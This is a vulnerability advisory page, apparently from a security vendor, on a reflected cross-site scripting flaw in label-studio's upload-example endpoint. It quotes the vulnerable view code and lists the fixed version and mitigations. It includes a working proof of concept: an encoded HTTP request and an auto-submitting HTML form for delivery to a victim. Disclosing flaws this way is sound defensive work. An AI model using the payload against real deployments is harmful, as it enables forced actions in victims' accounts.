GHSA-8jhr-wpcm-hh4h
label-studio vulnerable to Cross-Site Scripting (Reflected) via the label_config parameter.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
label-studioReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.
Details
The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.
39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41: """Generate upload data example by config only"""
42: config = request.POST.get('label_config', '')
43:
44: org_pk = get_organization_from_request(request)
45: secure_mode = False
46: if org_pk is not None:
47: org = generics.get_object_or_404(Organization, pk=org_pk)
48: secure_mode = org.secure_mode
49:
50: try:
51: Project.validate_label_config(config)
52: task_data, _, _ = get_sample_task(config, secure_mode)
53: task_data = playground_replacements(request, task_data)
54: except (ValueError, ValidationError, lxml.etree.Error):
55: response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56: else:
57: response = HttpResponse(json.dumps(task_data))
58: return response
The vulnerability is specifically located in line 57, where HttpResponse is used.
57: response = HttpResponse(json.dumps(task_data))
PoC
Send the following request after changing the {host} to your own.
POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e
Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.
<html>
<body>
<form action="http://{domain}/projects/upload-example/" method="POST">
<input type="hidden" name="label_config" value="<View><Text name="text" value="$textjmwwi&lt;script&gt;alert(1)&lt;/script&gt;s8m37"/></View>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
Impact
- Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing
document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | label-studio | all versions | 1.18.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for label-studio. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update label-studio to 1.18.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-8jhr-wpcm-hh4h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-8jhr-wpcm-hh4h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-8jhr-wpcm-hh4h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-8jhr-wpcm-hh4h in your dependencies?
O3 detects GHSA-8jhr-wpcm-hh4h across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.